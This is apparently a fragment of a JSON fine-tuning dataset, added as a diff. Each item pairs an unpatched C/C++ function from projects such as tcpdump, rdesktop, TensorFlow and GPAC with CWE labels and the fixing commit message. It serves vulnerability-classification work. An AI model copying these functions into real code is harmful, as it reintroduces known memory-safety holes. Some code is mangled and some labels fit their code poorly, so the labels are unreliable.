*/\n\t\t\t\t\t\tgf_m2ts_metadata_descriptor_del(metad);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tbreak;\n\n\t\t\t\tdefault:\n\t\t\t\t\tGF_LOG(GF_LOG_DEBUG, GF_LOG_CONTAINER, (\"[MPEG-2 TS] skipping descriptor (0x%x) not supported\\n\", tag));\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tdata += len+2;\n\t\t\tpos += len+2;\n\t\t\tif (desc_len < len+2) {\n\t\t\t\tGF_LOG(GF_LOG_ERROR, GF_LOG_CONTAINER, (\"[MPEG-2 TS] Invalid PMT es descriptor size for PID %d\\n\", pid ) );\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tdesc_len-=len+2;\n\t\t}\n\n\t\tif (es && !es->stream_type) {\n\t\t\tgf_free(es);\n\t\t\tes = NULL;\n\t\t\tGF_LOG(GF_LOG_ERROR, GF_LOG_CONTAINER, (\"[MPEG-2 TS] Private Stream type (0x%x) for PID %d not supported\\n\", stream_type, pid ) );\n\t\t}\n\n\t\tif (!es) continue;\n\n\t\tif (ts->ess[pid]) {\n\t\t\t//this is component reuse across programs, overwrite the previously declared stream ...\n\t\t\tif (status & GF_M2TS_TABLE_FOUND) {\n\t\t\t\tGF_LOG(GF_LOG_INFO, GF_LOG_CONTAINER, (\"[MPEG-2 TS] PID %d reused across programs %d and %d, not completely supported\\n\", pid, ts->ess[pid]->program->number, es->program->number ) );\n\n\t\t\t\t//add stream to program but don't reassign the pid table until the stream is playing (>GF_M2TS_PES_FRAMING_SKIP)\n\t\t\t\tgf_list_add(pmt->program->streams, es);\n\t\t\t\tif (!(es->flags & GF_M2TS_ES_IS_SECTION) ) gf_m2ts_set_pes_framing(pes, GF_M2TS_PES_FRAMING_SKIP);\n\n\t\t\t\tnb_es++;\n\t\t\t\t//skip assignment below\n\t\t\t\tes = NULL;\n\t\t\t}\n\t\t\t/*watchout for pmt update - FIXME this likely won't work in most cases*/\n\t\t\telse {\n\n\t\t\t\tGF_M2TS_ES *o_es = ts->ess[es->pid];\n\n\t\t\t\tif ((o_es->stream_type == es->stream_type)\n\t\t\t\t        && ((o_es->flags & GF_M2TS_ES_STATIC_FLAGS_MASK) == (es->flags & GF_M2TS_ES_STATIC_FLAGS_MASK))\n\t\t\t\t        && (o_es->mpeg4_es_id == es->mpeg4_es_id)\n\t\t\t\t        && ((o_es->flags & GF_M2TS_ES_IS_SECTION) || ((GF_M2TS_PES *)o_es)->lang == ((GF_M2TS_PES *)es)->lang)\n\t\t\t\t   ) {\n\t\t\t\t\tgf_free(es);\n\t\t\t\t\tes = NULL;\n\t\t\t\t} else {\n\t\t\t\t\tgf_m2ts_es_del(o_es, ts);\n\t\t\t\t\tts->ess[es->pid] = NULL;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif (es) {\n\t\t\tts->ess[es->pid] = es;\n\t\t\tgf_list_add(pmt->program->streams, es);\n\t\t\tif (!(es->flags & GF_M2TS_ES_IS_SECTION) ) gf_m2ts_set_pes_framing(pes, GF_M2TS_PES_FRAMING_SKIP);\n\n\t\t\tnb_es++;\n\n\t\t\tif (es->stream_type == GF_M2TS_VIDEO_HEVC) nb_hevc++;\n\t\t\telse if (es->stream_type == GF_M2TS_VIDEO_HEVC_TEMPORAL) nb_hevc_temp++;\n\t\t\telse if (es->stream_type == GF_M2TS_VIDEO_SHVC) nb_shvc++;\n\t\t\telse if (es->stream_type == GF_M2TS_VIDEO_SHVC_TEMPORAL) nb_shvc_temp++;\n\t\t\telse if (es->stream_type == GF_M2TS_VIDEO_MHVC) nb_mhvc++;\n\t\t\telse if (es->stream_type == GF_M2TS_VIDEO_MHVC_TEMPORAL) nb_mhvc_temp++;\n\t\t}\n\t}\n\n\t//Table 2-139, implied hierarchy indexes\n\tif (nb_hevc_temp + nb_shvc + nb_shvc_temp + nb_mhvc+ nb_mhvc_temp) {\n\t\tfor (i=0; iprogram->streams); i++) {\n\t\t\tGF_M2TS_PES *es = (GF_M2TS_PES *)gf_list_get(pmt->program->streams, i);\n\t\t\tif ( !(es->flags & GF_M2TS_ES_IS_PES)) continue;\n\t\t\tif (es->depends_on_pid) continue;\n\n\t\t\tswitch (es->stream_type) {\n\t\t\tcase GF_M2TS_VIDEO_HEVC_TEMPORAL:\n\t\t\t\tes->depends_on_pid = 1;\n\t\t\t\tbreak;\n\t\t\tcase GF_M2TS_VIDEO_SHVC:\n\t\t\t\tif (!nb_hevc_temp) es->depends_on_pid = 1;\n\t\t\t\telse es->depends_on_pid = 2;\n\t\t\t\tbreak;\n\t\t\tcase GF_M2TS_VIDEO_SHVC_TEMPORAL:\n\t\t\t\tes->depends_on_pid = 3;\n\t\t\t\tbreak;\n\t\t\tcase GF_M2TS_VIDEO_MHVC:\n\t\t\t\tif (!nb_hevc_temp) es->depends_on_pid = 1;\n\t\t\t\telse es->depends_on_pid = 2;\n\t\t\t\tbreak;\n\t\t\tcase GF_M2TS_VIDEO_MHVC_TEMPORAL:\n\t\t\t\tif (!nb_hevc_temp) es->depends_on_pid = 2;\n\t\t\t\telse es->depends_on_pid = 3;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t}\n\n\tif (nb_es) {\n\t\tu32 i;\n\n\t\t//translate hierarchy descriptors indexes into PIDs - check whether the PMT-index rules are the same for HEVC\n\t\tfor (i=0; iprogram->streams); i++) {\n\t\t\tGF_M2TS_PES *an_es = NULL;\n\t\t\tGF_M2TS_PES *es = (GF_M2TS_PES *)gf_list_get(pmt->program->streams, i);\n\t\t\tif ( !(es->flags & GF_M2TS_ES_IS_PES)) continue;\n\t\t\tif (!es->depends_on_pid) continue;\n\n\t\t\t//fixeme we are not always assured that hierarchy_layer_index matches the stream index...\n\t\t\t//+1 is because our first stream is the PMT\n\t\t\tan_es =  (GF_M2TS_PES *)gf_list_get(pmt->program->streams, es->depends_on_pid);\n\t\t\tif (an_es) {\n\t\t\t\tes->depends_on_pid = an_es->pid;\n\t\t\t} else {\n\t\t\t\tGF_LOG(GF_LOG_WARNING, GF_LOG_CONTAINER, (\"[M2TS] Wrong dependency index in hierarchy descriptor, assuming non-scalable stream\\n\"));\n\t\t\t\tes->depends_on_pid = 0;\n\t\t\t}\n\t\t}\n\n\t\tevt_type = (status&GF_M2TS_TABLE_FOUND) ? GF_M2TS_EVT_PMT_FOUND : GF_M2TS_EVT_PMT_UPDATE;\n\t\tif (ts->on_event) ts->on_event(ts, evt_type, pmt->program);\n\t} else {\n\t\t/* if we found no new ES it's simply a repeat of the PMT */\n\t\tif (ts->on_event) ts->on_event(ts, GF_M2TS_EVT_PMT_REPEAT, pmt->program);\n\t}\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-416', 'CWE-125'], 'message': 'fixed potential crash on PMT IOD parse - cf #1268 #1269'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: l2tp_result_code_print(netdissect_options *ndo, const u_char *dat, u_int length)\n{\n\tconst uint16_t *ptr = (const uint16_t *)dat;\n\n\tND_PRINT((ndo, \"%u\", EXTRACT_16BITS(ptr))); ptr++;\t/* Result Code */\n\tif (length > 2) {\t\t\t\t/* Error Code (opt) */\n\t        ND_PRINT((ndo, \"/%u\", EXTRACT_16BITS(ptr))); ptr++;\n\t}\n\tif (length > 4) {\t\t\t\t/* Error Message (opt) */\n\t\tND_PRINT((ndo, \" \"));\n\t\tprint_string(ndo, (const u_char *)ptr, length - 4);\n\t}\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-125', 'CWE-787'], 'message': 'CVE-2017-13006/L2TP: Check whether an AVP's content exceeds the AVP length.\n\nIt's not good enough to check whether all the data specified by the AVP\nlength was captured - you also have to check whether that length is\nlarge enough for all the required data in the AVP.\n\nThis fixes a buffer over-read discovered by Yannick Formaggio.\n\nAdd a test using the capture file supplied by the reporter(s).'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: TfLiteIntArray* TfLiteIntArrayCreate(int size) {\n  TfLiteIntArray* ret =\n      (TfLiteIntArray*)malloc(TfLiteIntArrayGetSizeInBytes(size));\n  ret->size = size;\n  return ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-190'], 'message': 'Fix a dangerous integer overflow and a malloc of negative size.\n\nPiperOrigin-RevId: 371254154\nChange-Id: I250a98a3df26328770167025670235a963a72da0'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: bool Router::MatchView(const std::string& method, const std::string& url,\n                       bool* stream) {\n  assert(stream != nullptr);\n  *stream = false;\n\n  for (auto& route : routes_) {\n    if (std::find(route.methods.begin(), route.methods.end(), method) ==\n        route.methods.end()) {\n      continue;\n    }\n\n    if (route.url.empty()) {\n      std::smatch match;\n\n      if (std::regex_match(url, match, route.url_regex)) {\n        *stream = route.view->Stream(method);\n        return true;\n      }\n    } else {\n      if (boost::iequals(route.url, url)) {\n        *stream = route.view->Stream(method);\n        return true;\n      }\n    }\n  }\n\n  return false;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-22'], 'message': 'fix static file serving security issue; fix url path encoding issue'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static GSList *caps_to_list(uint8_t *data, int size,\n\t\t\t\tstruct avdtp_service_capability **codec,\n\t\t\t\tgboolean *delay_reporting)\n{\n\tGSList *caps;\n\tint processed;\n\n\tif (delay_reporting)\n\t\t*delay_reporting = FALSE;\n\n\tfor (processed = 0, caps = NULL; processed + 2 <= size;) {\n\t\tstruct avdtp_service_capability *cap;\n\t\tuint8_t length, category;\n\n\t\tcategory = data[0];\n\t\tlength = data[1];\n\n\t\tif (processed + 2 + length > size) {\n\t\t\terror(\"Invalid capability data in getcap resp\");\n\t\t\tbreak;\n\t\t}\n\n\t\tcap = g_malloc(sizeof(struct avdtp_service_capability) +\n\t\t\t\t\tlength);\n\t\tmemcpy(cap, data, 2 + length);\n\n\t\tprocessed += 2 + length;\n\t\tdata += 2 + length;\n\n\t\tcaps = g_slist_append(caps, cap);\n\n\t\tif (category == AVDTP_MEDIA_CODEC &&\n\t\t\t\tlength >=\n\t\t\t\tsizeof(struct avdtp_media_codec_capability))\n\t\t\t*codec = cap;\n\t\telse if (category == AVDTP_DELAY_REPORTING && delay_reporting)\n\t\t\t*delay_reporting = TRUE;\n\t}\n\n\treturn caps;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-703'], 'message': 'avdtp: Fix accepting invalid/malformed capabilities\n\nCheck if capabilities are valid before attempting to copy them.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: process_plane(uint8 * in, int width, int height, uint8 * out, int size)\n{\n\tUNUSED(size);\n\tint indexw;\n\tint indexh;\n\tint code;\n\tint collen;\n\tint replen;\n\tint color;\n\tint x;\n\tint revcode;\n\tuint8 * last_line;\n\tuint8 * this_line;\n\tuint8 * org_in;\n\tuint8 * org_out;\n\n\torg_in = in;\n\torg_out = out;\n\tlast_line = 0;\n\tindexh = 0;\n\twhile (indexh < height)\n\t{\n\t\tout = (org_out + width * height * 4) - ((indexh + 1) * width * 4);\n\t\tcolor = 0;\n\t\tthis_line = out;\n\t\tindexw = 0;\n\t\tif (last_line == 0)\n\t\t{\n\t\t\twhile (indexw < width)\n\t\t\t{\n\t\t\t\tcode = CVAL(in);\n\t\t\t\treplen = code & 0xf;\n\t\t\t\tcollen = (code >> 4) & 0xf;\n\t\t\t\trevcode = (replen << 4) | collen;\n\t\t\t\tif ((revcode <= 47) && (revcode >= 16))\n\t\t\t\t{\n\t\t\t\t\treplen = revcode;\n\t\t\t\t\tcollen = 0;\n\t\t\t\t}\n\t\t\t\twhile (collen > 0)\n\t\t\t\t{\n\t\t\t\t\tcolor = CVAL(in);\n\t\t\t\t\t*out = color;\n\t\t\t\t\tout += 4;\n\t\t\t\t\tindexw++;\n\t\t\t\t\tcollen--;\n\t\t\t\t}\n\t\t\t\twhile (replen > 0)\n\t\t\t\t{\n\t\t\t\t\t*out = color;\n\t\t\t\t\tout += 4;\n\t\t\t\t\tindexw++;\n\t\t\t\t\treplen--;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\twhile (indexw < width)\n\t\t\t{\n\t\t\t\tcode = CVAL(in);\n\t\t\t\treplen = code & 0xf;\n\t\t\t\tcollen = (code >> 4) & 0xf;\n\t\t\t\trevcode = (replen << 4) | collen;\n\t\t\t\tif ((revcode <= 47) && (revcode >= 16))\n\t\t\t\t{\n\t\t\t\t\treplen = revcode;\n\t\t\t\t\tcollen = 0;\n\t\t\t\t}\n\t\t\t\twhile (collen > 0)\n\t\t\t\t{\n\t\t\t\t\tx = CVAL(in);\n\t\t\t\t\tif (x & 1)\n\t\t\t\t\t{\n\t\t\t\t\t\tx = x >> 1;\n\t\t\t\t\t\tx = x + 1;\n\t\t\t\t\t\tcolor = -x;\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\tx = x >> 1;\n\t\t\t\t\t\tcolor = x;\n\t\t\t\t\t}\n\t\t\t\t\tx = last_line[indexw * 4] + color;\n\t\t\t\t\t*out = x;\n\t\t\t\t\tout += 4;\n\t\t\t\t\tindexw++;\n\t\t\t\t\tcollen--;\n\t\t\t\t}\n\t\t\t\twhile (replen > 0)\n\t\t\t\t{\n\t\t\t\t\tx = last_line[indexw * 4] + color;\n\t\t\t\t\t*out = x;\n\t\t\t\t\tout += 4;\n\t\t\t\t\tindexw++;\n\t\t\t\t\treplen--;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tindexh++;\n\t\tlast_line = this_line;\n\t}\n\treturn (int) (in - org_in);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-119', 'CWE-125', 'CWE-703', 'CWE-787'], 'message': 'Malicious RDP server security fixes\n\nThis commit includes fixes for a set of 21 vulnerabilities in\nrdesktop when a malicious RDP server is used.\n\nAll vulnerabilities was identified and reported by Eyal Itkin.\n\n * Add rdp_protocol_error function that is used in several fixes\n * Refactor of process_bitmap_updates\n * Fix possible integer overflow in s_check_rem() on 32bit arch\n * Fix memory corruption in process_bitmap_data - CVE-2018-8794\n * Fix remote code execution in process_bitmap_data - CVE-2018-8795\n * Fix remote code execution in process_plane - CVE-2018-8797\n * Fix Denial of Service in mcs_recv_connect_response - CVE-2018-20175\n * Fix Denial of Service in mcs_parse_domain_params - CVE-2018-20175\n * Fix Denial of Service in sec_parse_crypt_info - CVE-2018-20176\n * Fix Denial of Service in sec_recv - CVE-2018-20176\n * Fix minor information leak in rdpdr_process - CVE-2018-8791\n * Fix Denial of Service in cssp_read_tsrequest - CVE-2018-8792\n * Fix remote code execution in cssp_read_tsrequest - CVE-2018-8793\n * Fix Denial of Service in process_bitmap_data - CVE-2018-8796\n * Fix minor information leak in rdpsnd_process_ping - CVE-2018-8798\n * Fix Denial of Service in process_secondary_order - CVE-2018-8799\n * Fix remote code execution in in ui_clip_handle_data - CVE-2018-8800\n * Fix major information leak in ui_clip_handle_data - CVE-2018-20174\n * Fix memory corruption in rdp_in_unistr - CVE-2018-20177\n * Fix Denial of Service in process_demand_active - CVE-2018-20178\n * Fix remote code execution in lspci_process - CVE-2018-20179\n * Fix remote code execution in rdpsnddbg_process - CVE-2018-20180\n * Fix remote code execution in seamless_process - CVE-2018-20181\n * Fix remote code execution in seamless_process_line - CVE-2018-20182'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: ikev2_n_print(netdissect_options *ndo, u_char tpay _U_,\n\t\tconst struct isakmp_gen *ext,\n\t\tu_int item_len, const u_char *ep,\n\t\tuint32_t phase _U_, uint32_t doi _U_,\n\t\tuint32_t proto _U_, int depth _U_)\n{\n\tconst struct ikev2_n *p;\n\tstruct ikev2_n n;\n\tconst u_char *cp;\n\tu_char showspi, showdata, showsomedata;\n\tconst char *notify_name;\n\tuint32_t type;\n\n\tp = (const struct ikev2_n *)ext;\n\tND_TCHECK(*p);\n\tUNALIGNED_MEMCPY(&n, ext, sizeof(n));\n\tikev2_pay_print(ndo, NPSTR(ISAKMP_NPTYPE_N), n.h.critical);\n\n\tshowspi = 1;\n\tshowdata = 0;\n\tshowsomedata=0;\n\tnotify_name=NULL;\n\n\tND_PRINT((ndo,\" prot_id=%s\", PROTOIDSTR(n.prot_id)));\n\n\ttype = ntohs(n.type);\n\n\t/* notify space is annoying sparse */\n\tswitch(type) {\n\tcase IV2_NOTIFY_UNSUPPORTED_CRITICAL_PAYLOAD:\n\t\tnotify_name = \"unsupported_critical_payload\";\n\t\tshowspi = 0;\n\t\tbreak;\n\n\tcase IV2_NOTIFY_INVALID_IKE_SPI:\n\t\tnotify_name = \"invalid_ike_spi\";\n\t\tshowspi = 1;\n\t\tbreak;\n\n\tcase IV2_NOTIFY_INVALID_MAJOR_VERSION:\n\t\tnotify_name = \"invalid_major_version\";\n\t\tshowspi = 0;\n\t\tbreak;\n\n\tcase IV2_NOTIFY_INVALID_SYNTAX:\n\t\tnotify_name = \"invalid_syntax\";\n\t\tshowspi = 1;\n\t\tbreak;\n\n\tcase IV2_NOTIFY_INVALID_MESSAGE_ID:\n\t\tnotify_name = \"invalid_message_id\";\n\t\tshowspi = 1;\n\t\tbreak;\n\n\tcase IV2_NOTIFY_INVALID_SPI:\n\t\tnotify_name = \"invalid_spi\";\n\t\tshowspi = 1;\n\t\tbreak;\n\n\tcase IV2_NOTIFY_NO_PROPOSAL_CHOSEN:\n\t\tnotify_name = \"no_protocol_chosen\";\n\t\tshowspi = 1;\n\t\tbreak;\n\n\tcase IV2_NOTIFY_INVALID_KE_PAYLOAD:\n\t\tnotify_name = \"invalid_ke_payload\";\n\t\tshowspi = 1;\n\t\tbreak;\n\n\tcase IV2_NOTIFY_AUTHENTICATION_FAILED:\n\t\tnotify_name = \"authentication_failed\";\n\t\tshowspi = 1;\n\t\tbreak;\n\n\tcase IV2_NOTIFY_SINGLE_PAIR_REQUIRED:\n\t\tnotify_name = \"single_pair_required\";\n\t\tshowspi = 1;\n\t\tbreak;\n\n\tcase IV2_NOTIFY_NO_ADDITIONAL_SAS:\n\t\tnotify_name = \"no_additional_sas\";\n\t\tshowspi = 0;\n\t\tbreak;\n\n\tcase IV2_NOTIFY_INTERNAL_ADDRESS_FAILURE:\n\t\tnotify_name = \"internal_address_failure\";\n\t\tshowspi = 0;\n\t\tbreak;\n\n\tcase IV2_NOTIFY_FAILED_CP_REQUIRED:\n\t\tnotify_name = \"failed:cp_required\";\n\t\tshowspi = 0;\n\t\tbreak;\n\n\tcase IV2_NOTIFY_INVALID_SELECTORS:\n\t\tnotify_name = \"invalid_selectors\";\n\t\tshowspi = 0;\n\t\tbreak;\n\n\tcase IV2_NOTIFY_INITIAL_CONTACT:\n\t\tnotify_name = \"initial_contact\";\n\t\tshowspi = 0;\n\t\tbreak;\n\n\tcase IV2_NOTIFY_SET_WINDOW_SIZE:\n\t\tnotify_name = \"set_window_size\";\n\t\tshowspi = 0;\n\t\tbreak;\n\n\tcase IV2_NOTIFY_ADDITIONAL_TS_POSSIBLE:\n\t\tnotify_name = \"additional_ts_possible\";\n\t\tshowspi = 0;\n\t\tbreak;\n\n\tcase IV2_NOTIFY_IPCOMP_SUPPORTED:\n\t\tnotify_name = \"ipcomp_supported\";\n\t\tshowspi = 0;\n\t\tbreak;\n\n\tcase IV2_NOTIFY_NAT_DETECTION_SOURCE_IP:\n\t\tnotify_name = \"nat_detection_source_ip\";\n\t\tshowspi = 1;\n\t\tbreak;\n\n\tcase IV2_NOTIFY_NAT_DETECTION_DESTINATION_IP:\n\t\tnotify_name = \"nat_detection_destination_ip\";\n\t\tshowspi = 1;\n\t\tbreak;\n\n\tcase IV2_NOTIFY_COOKIE:\n\t\tnotify_name = \"cookie\";\n\t\tshowspi = 1;\n\t\tshowsomedata= 1;\n\t\tshowdata= 0;\n\t\tbreak;\n\n\tcase IV2_NOTIFY_USE_TRANSPORT_MODE:\n\t\tnotify_name = \"use_transport_mode\";\n\t\tshowspi = 0;\n\t\tbreak;\n\n\tcase IV2_NOTIFY_HTTP_CERT_LOOKUP_SUPPORTED:\n\t\tnotify_name = \"http_cert_lookup_supported\";\n\t\tshowspi = 0;\n\t\tbreak;\n\n\tcase IV2_NOTIFY_REKEY_SA:\n\t\tnotify_name = \"rekey_sa\";\n\t\tshowspi = 1;\n\t\tbreak;\n\n\tcase IV2_NOTIFY_ESP_TFC_PADDING_NOT_SUPPORTED:\n\t\tnotify_name = \"tfc_padding_not_supported\";\n\t\tshowspi = 0;\n\t\tbreak;\n\n\tcase IV2_NOTIFY_NON_FIRST_FRAGMENTS_ALSO:\n\t\tnotify_name = \"non_first_fragment_also\";\n\t\tshowspi = 0;\n\t\tbreak;\n\n\tdefault:\n\t\tif (type < 8192) {\n\t\t\tnotify_name=\"error\";\n\t\t} else if(type < 16384) {\n\t\t\tnotify_name=\"private-error\";\n\t\t} else if(type < 40960) {\n\t\t\tnotify_name=\"status\";\n\t\t} else {\n\t\t\tnotify_name=\"private-status\";\n\t\t}\n\t}\n\n\tif(notify_name) {\n\t\tND_PRINT((ndo,\" type=%u(%s)\", type, notify_name));\n\t}\n\n\n\tif (showspi && n.spi_size) {\n\t\tND_PRINT((ndo,\" spi=\"));\n\t\tif (!rawprint(ndo, (const uint8_t *)(p + 1), n.spi_size))\n\t\t\tgoto trunc;\n\t}\n\n\tcp = (const u_char *)(p + 1) + n.spi_size;\n\n\tif(3 < ndo->ndo_vflag) {\n\t\tshowdata = 1;\n\t}\n\n\tif ((showdata || (showsomedata && ep-cp < 30)) && cp < ep) {\n\t\tND_PRINT((ndo,\" data=(\"));\n\t\tif (!rawprint(ndo, (const uint8_t *)(cp), ep - cp))\n\t\t\tgoto trunc;\n\n\t\tND_PRINT((ndo,\")\"));\n\n\t} else if(showsomedata && cp < ep) {\n\t\tif(!ike_show_somedata(ndo, cp, ep)) goto trunc;\n\t}\n\n\treturn (const u_char *)ext + item_len;\ntrunc:\n\tND_PRINT((ndo,\" [|%s]\", NPSTR(ISAKMP_NPTYPE_N)));\n\treturn NULL;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-399', 'CWE-835'], 'message': 'CVE-2017-12990/Fix printing of ISAKMPv1 Notification payload data.\n\nThe closest thing to a specification for the contents of the payload\ndata is draft-ietf-ipsec-notifymsg-04, and nothing in there says that it\nis ever a complete ISAKMP message, so don't dissect types we don't have\nspecific code for as a complete ISAKMP message.\n\nWhile we're at it, fix a comment, and clean up printing of V1 Nonce,\nV2 Authentication payloads, and v2 Notice payloads.\n\nThis fixes an infinite loop discovered by Forcepoint's security\nresearchers Otto Airamo & Antti Levom\u00e4ki.\n\nAdd a test using the capture file supplied by the reporter(s).'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code:   void Compute(OpKernelContext* context) override {\n    const Tensor& indices = context->input(0);\n    const Tensor& values = context->input(1);\n    const Tensor& shape = context->input(2);\n    const Tensor& weights = context->input(3);\n    bool use_weights = weights.NumElements() > 0;\n\n    OP_REQUIRES(context, TensorShapeUtils::IsMatrix(indices.shape()),\n                errors::InvalidArgument(\n                    \"Input indices must be a 2-dimensional tensor. Got: \",\n                    indices.shape().DebugString()));\n\n    if (use_weights) {\n      OP_REQUIRES(\n          context, weights.shape() == values.shape(),\n          errors::InvalidArgument(\n              \"Weights and values must have the same shape. Weight shape: \",\n              weights.shape().DebugString(),\n              \"; values shape: \", values.shape().DebugString()));\n    }\n\n    OP_REQUIRES(context, shape.NumElements() != 0,\n                errors::InvalidArgument(\n                    \"The shape argument requires at least one element.\"));\n\n    bool is_1d = shape.NumElements() == 1;\n    int num_batches = is_1d ? 1 : shape.flat()(0);\n    int num_values = values.NumElements();\n\n    OP_REQUIRES(context, num_values == indices.shape().dim_size(0),\n                errors::InvalidArgument(\n                    \"Number of values must match first dimension of indices.\",\n                    \"Got \", num_values,\n                    \" values, indices shape: \", indices.shape().DebugString()));\n\n    const auto indices_values = indices.matrix();\n    const auto values_values = values.flat();\n    const auto weight_values = weights.flat();\n\n    auto per_batch_counts = BatchedMap(num_batches);\n\n    T max_value = 0;\n\n    for (int idx = 0; idx < num_values; ++idx) {\n      int batch = is_1d ? 0 : indices_values(idx, 0);\n      if (batch >= num_batches) {\n        OP_REQUIRES(context, batch < num_batches,\n                    errors::InvalidArgument(\n                        \"Indices value along the first dimension must be \",\n                        \"lower than the first index of the shape.\", \"Got \",\n                        batch, \" as batch and \", num_batches,\n                        \" as the first dimension of the shape.\"));\n      }\n      const auto& value = values_values(idx);\n      if (value >= 0 && (maxlength_ <= 0 || value < maxlength_)) {\n        if (binary_output_) {\n          per_batch_counts[batch][value] = 1;\n        } else if (use_weights) {\n          per_batch_counts[batch][value] += weight_values(idx);\n        } else {\n          per_batch_counts[batch][value]++;\n        }\n        if (value > max_value) {\n          max_value = value;\n        }\n      }\n    }\n\n    int num_output_values = GetOutputSize(max_value, maxlength_, minlength_);\n    OP_REQUIRES_OK(context, OutputSparse(per_batch_counts, num_output_values,\n                                            is_1d, context));\n  } ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-125', 'CWE-131'], 'message': 'Fix the segfault in `tf.raw_ops.SparseCountSparseOutput`.\n\nPiperOrigin-RevId: 369264941\nChange-Id: I23a96a15b8370c01ee21ba3841e1c7dcbf55e93d'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static int crypto_rng_report(struct sk_buff *skb, struct crypto_alg *alg)\n{\n\tstruct crypto_report_rng rrng;\n\n\tsnprintf(rrng.type, CRYPTO_MAX_ALG_NAME, \"%s\", \"rng\");\n\n\trrng.seedsize = alg->cra_rng.seedsize;\n\n\tif (nla_put(skb, CRYPTOCFGA_REPORT_RNG,\n\t\t    sizeof(struct crypto_report_rng), &rrng))\n\t\tgoto nla_put_failure;\n\treturn 0;\n\nnla_put_failure:\n\treturn -EMSGSIZE;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-310'], 'message': 'crypto: user - fix info leaks in report API\n\nThree errors resulting in kernel memory disclosure:\n\n1/ The structures used for the netlink based crypto algorithm report API\nare located on the stack. As snprintf() does not fill the remainder of\nthe buffer with null bytes, those stack bytes will be disclosed to users\nof the API. Switch to strncpy() to fix this.\n\n2/ crypto_report_one() does not initialize all field of struct\ncrypto_user_alg. Fix this to fix the heap info leak.\n\n3/ For the module name we should copy only as many bytes as\nmodule_name() returns -- not as much as the destination buffer could\nhold. But the current code does not and therefore copies random data\nfrom behind the end of the module name, as the module name is always\nshorter than CRYPTO_MAX_ALG_NAME.\n\nAlso switch to use strncpy() to copy the algorithm's name and\ndriver_name. They are strings, after all.\n\nSigned-off-by: Mathias Krause \nCc: Steffen Klassert \nSigned-off-by: Herbert Xu '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static int crypto_ahash_report(struct sk_buff *skb, struct crypto_alg *alg)\n{\n\treturn -ENOSYS;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-310'], 'message': 'crypto: user - fix info leaks in report API\n\nThree errors resulting in kernel memory disclosure:\n\n1/ The structures used for the netlink based crypto algorithm report API\nare located on the stack. As snprintf() does not fill the remainder of\nthe buffer with null bytes, those stack bytes will be disclosed to users\nof the API. Switch to strncpy() to fix this.\n\n2/ crypto_report_one() does not initialize all field of struct\ncrypto_user_alg. Fix this to fix the heap info leak.\n\n3/ For the module name we should copy only as many bytes as\nmodule_name() returns -- not as much as the destination buffer could\nhold. But the current code does not and therefore copies random data\nfrom behind the end of the module name, as the module name is always\nshorter than CRYPTO_MAX_ALG_NAME.\n\nAlso switch to use strncpy() to copy the algorithm's name and\ndriver_name. They are strings, after all.\n\nSigned-off-by: Mathias Krause \nCc: Steffen Klassert \nSigned-off-by: Herbert Xu '"
+  },
+  {
